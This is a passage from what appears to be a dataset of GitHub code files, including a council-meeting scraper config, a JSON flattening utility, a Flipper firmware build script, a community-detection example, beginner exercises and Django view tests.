\"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Min-Johansen.jpg\"\n            },\n            {\n                \"Surname\": \"Harker\",\n                \"Forename\": \"Jeremy\",\n                \"ImageUrl\": \"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Jeremy-Harker.jpg\"\n            }\n        ]\n    },\n]\n\nmeetingUrl = [\n    {\n        \"org_short\": \"HDC\",\n        \"meet_sched_url\": \"http://hastings.infocouncil.biz/\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_sched_url\": \"http://napier.infocouncil.biz/\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_sched_url\": \"http://centralhawkesbay.infocouncil.biz/\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_sched_url\": \"http://wairoa.infocouncil.biz/\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_sched_url\": \"http://hawkesbay.infocouncil.biz/\"\n    }\n]\n\nmeetingTypeScrapeHelp = [\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Council\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"attendance:\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Council - Extraordinary\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"attendance:\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Finance and Risk Committee\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"attendance:\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Works and Services Committee\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"attendance:\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Strategy Planning and Partnerships Committee\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"also present:\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Extra Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Strategy and Infrastructure Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Finance Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Regulatory Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Community Services Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Extra Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Extra Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Extra Regional Council\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Corporate and Strategic Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Environment and Services Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Planning Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Risk and Audit Subcommittee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Tenders Subcommittee\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"also present:\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Community Grants Subcommittee\",\n        \"startWord\": \"present:\",\n        \"endWord\": \"also present:\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Temporary Road Closures Subcommittee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Hearings Committee (For the consideration of Tenders)\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Hearings Committee (Dog Hearing)\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Audit and Risk Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Community Development Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Environment and Regulatory Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Finance and Planning Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Risk and Audit Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Economic Development Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Finance, Audit & Risk Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Maori Standing Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Extra Finance, Audit & Risk Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Infrastructure Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Transport Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Maori Committee\",\n        \"startWord\": \"present\",\n        \"endWord\": \"attendance\"\n    }\n]\n\n# Meeting types that all councillors are expected to attend\nmeetingRepAll = [\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Council\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Finance and Risk Committee\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Council Supplementary\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Council - Extraordinary\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Works and Services Committee\"\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Strategy Planning and Partnerships Committee\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Council\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Extra Council\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Strategy and Infrastructure Committee\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Finance Committee\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Regulatory Committee\"\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Community Services Committee\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Council\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Council Supplementary\"\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Extra Council\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Council\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Extra Council Supplementary\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Council Supplementary\"\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Extra Council\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Council\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Extra Regional Council\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Council Supplementary\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Corporate and Strategic Committee\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Corporate and Strategic Committee Supplementary\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Environment and Services Committee\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Planning Committee\"\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Extra Regional Planning Committee\"\n    }\n]\n\nmeetingRepExtra = [\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Risk and Audit Subcommittee\",\n        \"representatives\": [\n            \"Kerr\", \"Nixon\", \"Travers\"\n        ]\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Tenders Subcommittee\",\n        \"representatives\": [\n            \"Travers\", \"Watkins\", \"Lawson\", \"Nixon\", \"Redstone\", \"Hazlehurst\"\n        ]\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Community Grants Subcommittee\",\n        \"representatives\": [\n            \"Dixon\", \"Barber\", \"Lawson\", \"Schollum\", \"Harvey\", \"Watkins\", \"Hazlehurst\"\n        ]\n    },\n    {\n        \"org_short\": \"HDC\",\n        \"meet_type\": \"Temporary Road Closures Subcommittee\",\n        \"representatives\": [\n            \"Nixon\", \"Watkins\", \"Hazlehurst\"\n        ]\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Hearings Committee (For the consideration of Tenders)\",\n        \"representatives\": [\n            \"Jeffery\", \"Taylor\", \"Brosnan\", \"White\", \"Wise\", \"Wright\"\n        ]\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Hearings Committee (Dog Hearing)\",\n        \"representatives\": [\n            \"Jeffery\", \"Taylor\", \"Brosnan\", \"White\", \"Wise\", \"Wright\"\n        ]\n    },\n    {\n        \"org_short\": \"NCC\",\n        \"meet_type\": \"Audit and Risk Committee\",\n        \"representatives\": [\n            \"Wise\", \"Hague\"\n        ]\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Community Development Committee\",\n        \"representatives\": [\n            \"Walker\", \"Sharp\", \"Aitken\", \"Annand\", \"Burne-Field\", \"Minehan\"\n        ]\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Environment and Regulatory Committee\",\n        \"representatives\": [\n            \"Walker\", \"Sharp\", \"Chote\", \"Muggeridge\", \"Tennent\"\n        ]\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Finance and Planning Committee\",\n        \"representatives\": [\n            \"Walker\", \"Sharp\", \"Aitken\", \"Annand\", \"Burne-Field\", \"Chote\", \"Minehan\", \"Muggeridge\", \"Tennent\"\n        ]\n    },\n    {\n        \"org_short\": \"CHBDC\",\n        \"meet_type\": \"Risk and Audit Committee\",\n        \"representatives\": [\n            \"Walker\", \"Aitken\", \"Minehan\", \"Muggeridge\", \"Tennent\"\n        ]\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Economic Development Committee\",\n        \"representatives\": [\n            \"Little\", \"Eaglesome-Karekare\", \"Johansen\"\n        ]\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Finance, Audit & Risk Committee\",\n        \"representatives\": [\n            \"Little\", \"Eaglesome-Karekare\", \"Harker\", \"Flood\"\n        ]\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Maori Standing Committee\",\n        \"representatives\": [\n            \"Little\", \"Lambert\", \"Harker\"\n        ]\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Extra Finance, Audit & Risk Committee\",\n        \"representatives\": [\n            \"Little\", \"Eaglesome-Karekare\", \"Harker\", \"Flood\"\n        ]\n    },\n    {\n        \"org_short\": \"WDC\",\n        \"meet_type\": \"Infrastructure Committee\",\n        \"representatives\": [\n            \"Little\", \"Johansen\", \"Lambert\"\n        ]\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Regional Transport Committee\",\n        \"representatives\": [\n            \"Dick\", \"Wilson\"\n        ]\n    },\n    {\n        \"org_short\": \"HBRC\",\n        \"meet_type\": \"Maori Committee\",\n        \"representatives\": [\n            \"Barker\", \"Graham\", \"Wilson\"\n        ]\n    }\n]\n","repo_name":"AdrianTVB/AreYouBeingServed","sub_path":"scrape/scripts/baseinfo.py","file_name":"baseinfo.py","file_ext":"py","file_size_in_byte":26726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1665123857","text":"import json\r\n\r\ndef flatten_helper(prefix, list_of_dict):\r\n    res = []\r\n    for i in list_of_dict:\r\n        res_dict={}\r\n        for k, v in i.items():\r\n            res_dict['.'.join([prefix,k])]=v\r\n        res.append(res_dict)\r\n    return res\r\n\r\ndef flatten(x):\r\n   \r\n    if isinstance(x, list):\r\n        res = []\r\n        for ele in x:\r\n            res = res + flatten(ele)\r\n        return res\r\n    else:\r\n        res = [{}]\r\n        for k, v in x.items():\r\n            if (isinstance(v, dict) or isinstance(v,list)):\r\n                new_res = []\r\n                tempo = flatten(v)\r\n                for r in res:\r\n                    for t in tempo:\r\n                        new_res.append({**r, **t})\r\n                res = flatten_helper(k,new_res)\r\n            else:\r\n                for i, val in enumerate(res):\r\n                    res[i][k]=v\r\n        return res\r\n\r\ndef dissocite(data_json):\r\n    \"\"\" Cette fonction de generer des sous-fichiers tant que le fichier json contient des tableaux.\r\n    @Param : le data json\r\n    @Return : List  creation des outputs.json \"\"\"\r\n\r\n    from datetime import datetime\r\n    import os\r\n    from ..autres.removeNull import removeNull as removeNull\r\n\r\n    # date\r\n    now = datetime.now() # current date and time\r\n    date_time = now.strftime(\"%Y%d%m%H%M%S\")\r\n\r\n    output_list = []\r\n\r\n    res = flatten(data_json)\r\n    for val in res:\r\n        with open(f'C:\\\\Users\\\\CS5764\\\\Desktop\\\\codeNapoleon\\\\Resultats\\\\conteneur\\\\data_{res.index(val)}_{date_time}.json', 'w', encoding='utf-8' ) as tmp_f:\r\n            json.dump(val, tmp_f, indent=4, ensure_ascii=False)\r\n            #r = removeNull(f'C:\\\\Users\\\\CS5764\\\\Desktop\\\\codeNapoleon\\\\Resultats\\\\conteneur\\\\data_{res.index(val)}_{date_time}.json')\r\n        tmp_f.close()\r\n        os.system(f\"sed -i -e 's/null/0/g' C:\\\\Users\\\\CS5764\\\\Desktop\\\\codeNapoleon\\\\Resultats\\\\conteneur\\\\data_{res.index(val)}_{date_time}.json\")\r\n        output_list.append(f'C:\\\\Users\\\\CS5764\\\\Desktop\\\\codeNapoleon\\\\Resultats\\\\conteneur\\\\data_{res.index(val)}_{date_time}.json')\r\n    \r\n    return output_list","repo_name":"CharafouddineAhmed/JORF","sub_path":"func/autres/dissociate.py","file_name":"dissociate.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70216199096","text":"# preço da montanha russa\n\nprint(\"Welcome to the rollercoaster!\")\nheight = int(input(\"What is your height in cm? \"))\n\nif height > 120:\n  print(\"Você pode andar na montanha russa.\")\n  idade = int(input(\"Qual é a sua idade? \"))\n  if idade < 12:\n    conta = 5\n    print(\"O preço a pagar é R$5.00\")\n  elif idade <= 18:\n    conta = 7\n    print(\"O preço a pagar é R$7.00.\")\n  elif idade >= 45 and idade <= 55:\n    print(\"O valor é por nossa conta.\")\n  else:\n    conta = 12\n    print(\"O preço a pagar é R$12.00\")\n  foto = input(\"Você quer tirar foto? sim ou não? \")\n  if foto == \"sim\":\n    conta += 3\n  print(f\"O valor final será R${conta}\")\n      \nelse:\n    print(\"Você precisa ser mais alto para andar na montanha russa.\")\n","repo_name":"JessicaColares/Python-Estudos","sub_path":"dia 3 exercicio 1 montanha russa.py","file_name":"dia 3 exercicio 1 montanha russa.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"7015644229","text":"Import(\"env\")\n\nenv.Append(\n    CPPPATH=[\n        \"#/lib/subghz\",\n    ],\n    SDK_HEADERS=[\n        File(\"environment.h\"),\n        File(\"receiver.h\"),\n        File(\"registry.h\"),\n        File(\"subghz_worker.h\"),\n        File(\"subghz_tx_rx_worker.h\"),\n        File(\"subghz_file_encoder_worker.h\"),\n        File(\"transmitter.h\"),\n        File(\"protocols/raw.h\"),\n        File(\"blocks/const.h\"),\n        File(\"blocks/decoder.h\"),\n        File(\"blocks/encoder.h\"),\n        File(\"blocks/generic.h\"),\n        File(\"blocks/math.h\"),\n        File(\"blocks/custom_btn.h\"),\n        File(\"subghz_setting.h\"),\n        File(\"subghz_protocol_registry.h\"),\n        File(\"devices/cc1101_configs.h\"),\n        File(\"devices/cc1101_int/cc1101_int_interconnect.h\"),\n    ],\n)\n\nlibenv = env.Clone(FW_LIB_NAME=\"subghz\")\nlibenv.ApplyLibFlags()\n\nsources = libenv.GlobRecursive(\"*.c*\")\n\nlib = libenv.StaticLibrary(\"${FW_LIB_NAME}\", sources)\nlibenv.Install(\"${LIB_DIST_DIR}\", lib)\nReturn(\"lib\")\n","repo_name":"DarkFlippers/unleashed-firmware","sub_path":"lib/subghz/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":12119,"dataset":"github-code","pt":"22"}
+{"seq_id":"25424172167","text":"\"\"\"\nЗадача 15. \nПользователь вводит одно число N – количество арбузов. \nВторая строка содержит N чисел, записанных на новой строчке каждое. \nЗдесь каждое число – это масса соответствующего арбуза \nInput:5 -> 5 1 6 5 9 \nOutput:1 9 (минимальное и максимальное)\n\"\"\"\n\nimport random\n\nnumber=int(input('Введите количество арбузов: '))\nmin_weight=20\nmax_weight=1\nfor i in range (number):\n    massa=random.randint(1,20)\n    print (massa, end=\" \")\n    if massa>max_weight:\n        max_weight=massa\n    elif massa<min_weight:\n        min_weight=massa\nprint(f'\\nМаксимальный вес арбуза - {max_weight} и минимальный вес арбуза - {min_weight}')\n","repo_name":"JuliaGeekB/HW_Python","sub_path":"Task15.py","file_name":"Task15.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35126195165","text":"import numpy as np\nfrom mudcod.community_detection import MuDCoD, StaticSpectralCoD\nfrom mudcod.network_simulations import MuSDynamicDCBM\nfrom sklearn.metrics.cluster import adjusted_rand_score\n\nT = 4\nS = 8\n\n# Multi-subject Dynamic DCBM\nmodel_dcbm = MuSDynamicDCBM(\n    n=200,  # Total number of vertices\n    model_order_K=3,  # Model order, i.e. number of class labels.\n    p_in=(0.2, 0.25),  # In class connectivity parameter\n    p_out=(0.1, 0.1),  # Out class connectivity parameter\n    time_horizon=T,  # Total number of time steps\n    r_time=0.2,  # Probability of changing class labels in the next time step\n    num_subjects=S,  # Total number of subjects\n    r_subject=0.2,  # Probability of changing class labels while evolving\n    seed=0,\n)\n\n# setting 2 (SSoS): strong signal sharing among subjects.\nprint(\n    \"Setting SSoS: signal sharing over time, subjects evolve conditioned on a common ancestor.\"\n)\nadj_mus_dynamic, z_mus_dynamic_true = model_dcbm.simulate_mus_dynamic_dcbm(setting=2)\n\n# Some reasonable hyper-parameters.\nalpha = 0.05 * np.ones((T, 2))\nbeta = 0.05 * np.ones(S)\nmax_K = 10\nn_iter = 30\n\npred_MuDCoD = MuDCoD(verbose=False).fit_predict(\n    adj_mus_dynamic,\n    alpha=alpha,\n    beta=beta,\n    max_K=max_K,\n    n_iter=n_iter,\n    opt_K=\"null\",\n    monitor_convergence=True,\n)\n\n# Predict communities using static spectral clustering,\n# seperately for each time step and subject.\npred_StaticSpectralCoD = np.empty_like(pred_MuDCoD)\n\nfor sbj in range(adj_mus_dynamic.shape[0]):\n    for tp in range(adj_mus_dynamic.shape[1]):\n        pred_StaticSpectralCoD[sbj, tp, :] = StaticSpectralCoD(\n            verbose=False\n        ).fit_predict(adj_mus_dynamic[sbj, tp, :, :])\n\n# Compare mean adjusted Rand index scores.\nari_MuDCoD, ari_StaticSpectralCoD = 0, 0\nfor sbj in range(adj_mus_dynamic.shape[0]):\n    for tp in range(adj_mus_dynamic.shape[1]):\n        ari_MuDCoD += adjusted_rand_score(\n            z_mus_dynamic_true[sbj, tp, :], pred_MuDCoD[sbj, tp, :]\n        )\n        ari_StaticSpectralCoD += adjusted_rand_score(\n            z_mus_dynamic_true[sbj, tp, :], pred_StaticSpectralCoD[sbj, tp, :]\n        )\n\nprint(f\"mean(ARI) of MuDCoD: {ari_MuDCoD/T/S}\")\nprint(f\"mean(ARI) of StaticSpectralCoD: {ari_StaticSpectralCoD/T/S}\")\n","repo_name":"bo1929/MuDCoD","sub_path":"examples/community_detection.py","file_name":"community_detection.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"72041735096","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\n\nimport click\nimport requests\nfrom dotenv import find_dotenv, load_dotenv\n\nimport beis_indicators\nfrom beis_indicators import nomis\n\nlogger = logging.getLogger(\"beis_indicators\")\n\n\ndef main():\n    \"\"\" Runs data processing scripts.\n\n    Turn raw data into cleaned data ready to be analyzed.\n\n    Usage: `python make_dataset.py -e True`\n\n    Args:\n        external (bool, optional): If True, force download of external files\n    \"\"\"\n\n    config = beis_indicators.config[\"data\"]\n    project_dir = beis_indicators.project_dir\n\n    logger.info(\"Building nomis data\")\n    nomis_years = config[\"nomis\"][\"years\"]\n    nomis_geog = config[\"nomis\"][\"geography\"].upper()\n    nomis.make_nomis(geo_type=nomis_geog, year_l=nomis_years)\n    nomis.make_nomis_complexity()\n\n\nif __name__ == \"__main__\":\n    load_dotenv(find_dotenv())\n\n    try:\n        msg = f\"Making datasets\"\n        logger.info(msg)\n        main()\n    except (Exception, KeyboardInterrupt) as e:\n        logger.exception(e, stack_info=True)\n        raise e\n","repo_name":"nestauk/beis-indicators","sub_path":"ds/beis_indicators/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"28968179923","text":"import nextcord\nfrom nextcord.ext import commands\n\nimport pathlib\nfrom xml.etree import ElementTree\n\nclass Server(commands.Cog):\n    def __init__(self, client: commands.Bot) -> None:\n        self.client: commands.Bot = client\n\n    def _read_save_data(self, save_location: str) -> dict:\n        root = ElementTree.parse(\n            pathlib.Path(save_location).joinpath(\"/working_server\", \"scene.xml\")\n        ).getroot()\n        game_data = root.find(\".game_data\")\n        diff_sett = game_data.find(\"difficulty_settings\")\n        game_sett = game_data.find(\"game_mode_settings\")\n\n        playlists = game_data.find(\"active_playlists\").findall(\"playlist_name\")\n\n        return { \n            \"activated_dlc_count\": int(root.get(\"dlc\")),\n            \"activated_playlists\": [ \n                # list(map(\n                #     str.split(\"/\"),\n                #     playlists,\n                # ))\n                mission.split(\"/\")[3] for mission in playlists\n            ],\n            \"game_data\": {\n                \"currency\":        int(game_data.get(\"currency\")),\n                \"research_point\":  int(game_data.get(\"research_point\")),\n                \"date\": f\"{game_data.get('year')}-{game_data.get('month').zfill(2)}-{game_data.get('day').zfill(2)}\",\n                \"time\": f\"{game_data.get('hour').zfill(2)}:{game_data.get('minute').zfill(2)}\"\n            },\n            \"difficulty_setting\": {\n                \"vehicle_damage\":    diff_sett.get(\"vehicle_damage\"),\n                \"player_damage\":     diff_sett.get(\"player_damage\"),\n                \"npc_damage\":        diff_sett.get(\"npc_damage\"),\n                \"starting_currency\": diff_sett.get(\"starting_currency\"),\n                \"fast_travel\":       diff_sett.get(\"fast_travel\"),\n                \"teleport_vehicle\":  diff_sett.get(\"teleport_vehicle\"),\n                \"lightning\":         diff_sett.get(\"lightning\"),\n                \"aggressive_animals\": {\n                    \"shark\":     diff_sett.get(\"sharks\"),\n                    \"megalodon\": diff_sett.get(\"megalodon\")\n                }\n            },\n            \"game_mode_setting\": {\n                \"day_night_length\": int(game_sett.get(\"day_night_length\")),\n                \"sunset\":           int(game_sett.get(\"sunset\")),\n                \"creative_menu\":        game_sett.get(\"creative_menu\"),\n                \"base_island\":          game_sett.get(\"base_island\").split(\"/\")[2][:-4],\n                \"ceasefire\":            game_sett.get(\"ceasefire\"),\n                \"cleanup_vehicle\":      game_sett.get(\"cleanup_vehicle\"),\n                \"despawn_on_leave\":     game_sett.get(\"despawn_on_leave\")\n            }\n        }\n\ndef setup(client: commands.Bot) -> None:\n    client.add_cog(Server(client))","repo_name":"chae03yb/Hectopascal","sub_path":"module/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3166961530","text":"# coding=utf-8\nimport scipy.interpolate as si #插值器模块\nimport numpy as np\nimport matplotlib.pyplot as mp\n#搞一组散点\nmin_x = -50\nmax_x = 50\ndis_x = np.linspace(min_x,max_x,15)\ndis_y = np.sinc(dis_x)\nmp.scatter(dis_x,dis_y,s=60,marker=\"o\",label=\"Points\",c='red')\n\n#通过散点设计出符合一定规律的插值器函数\n#返回的linear是一个函数 可以:linear(x)\n\n#三次样条插值起\ncubic=si.interp1d(dis_x,dis_y,'cubic')\nx=np.linspace(min_x,max_x,1000)\ny=cubic(x)\nmp.plot(x,y,c='orangered',label=\"cubic\")\nlinear=si.interp1d(dis_x,dis_y,'linear')\ny=linear(x)\nmp.plot(x,y,c='dodgerblue',label=\"linear\")\n\n\nmp.legend()\nmp.show()","repo_name":"liaozhihui/lzh","sub_path":"数据分析/day07/demo10_interpolate.py","file_name":"demo10_interpolate.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74696527415","text":"import os, json\n\n\ndef stage_select(input):\n  \"\"\"\n  Write user's stage selection to json file if the stage exists\n\n  Args:\n    input (str): user input stage name\n\n  Returns:\n    str: filename of selected stage\n    bool: False if stage doesn't exist\n  \"\"\"\n  data_list = os.listdir(\"data/\")\n  data_list.remove(\"scores.json\")\n  data_list.remove(\"this_score.json\")\n  input_file = f\"{input}.json\"\n\n  if input_file in data_list:\n    with open(\"./handler/stage_select.json\", \"w\") as f:\n      json.dump({ \"stage\": input_file }, f)\n    return input_file\n  else:\n    return False\n\n\ndef get_stage():\n  \"\"\"\n  Read user's stage selection from stage_select.json\n\n  Returns:\n    str: filename of selected stage\n  \"\"\"\n  with open(\"./handler/stage_select.json\", \"r\") as f:\n    data = json.load(f)\n  return data[\"stage\"]\n\n\ndef get_scores():\n  \"\"\"\n  Read scores from scores.json\n\n  Returns:\n    list: list of scores \n  \"\"\"\n  with open(\"data/scores.json\", \"r\") as f:\n    return json.load(f)\n","repo_name":"azuda/acit2515_final_project","sub_path":"handler/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"39799890027","text":"from django.test import Client, TestCase\nfrom django.urls import reverse\n\n\nclass AboutViewsTests(TestCase):\n    @classmethod\n    def setUpClass(cls):\n        super().setUpClass()\n        cls.guest_client = Client()\n        cls.templates_url_names = {\n            'about/author.html': 'about:author',\n            'about/tech.html': 'about:tech'\n        }\n\n    def test_about_page_accessible_by_name(self):\n        \"\"\"URL, генерируемый при помощи имени about:..., доступен.\"\"\"\n        for template, reverse_name in self.templates_url_names.items():\n            with self.subTest():\n                response = self.guest_client.get(reverse(reverse_name))\n                self.assertEqual(response.status_code, 200)\n\n    def test_about_page_uses_correct_template(self):\n        \"\"\"При запросе к about: ... применяется шаблон about/ ... .html.\"\"\"\n        for template, reverse_name in self.templates_url_names.items():\n            with self.subTest():\n                response = self.guest_client.get(reverse(reverse_name))\n                self.assertTemplateUsed(response, 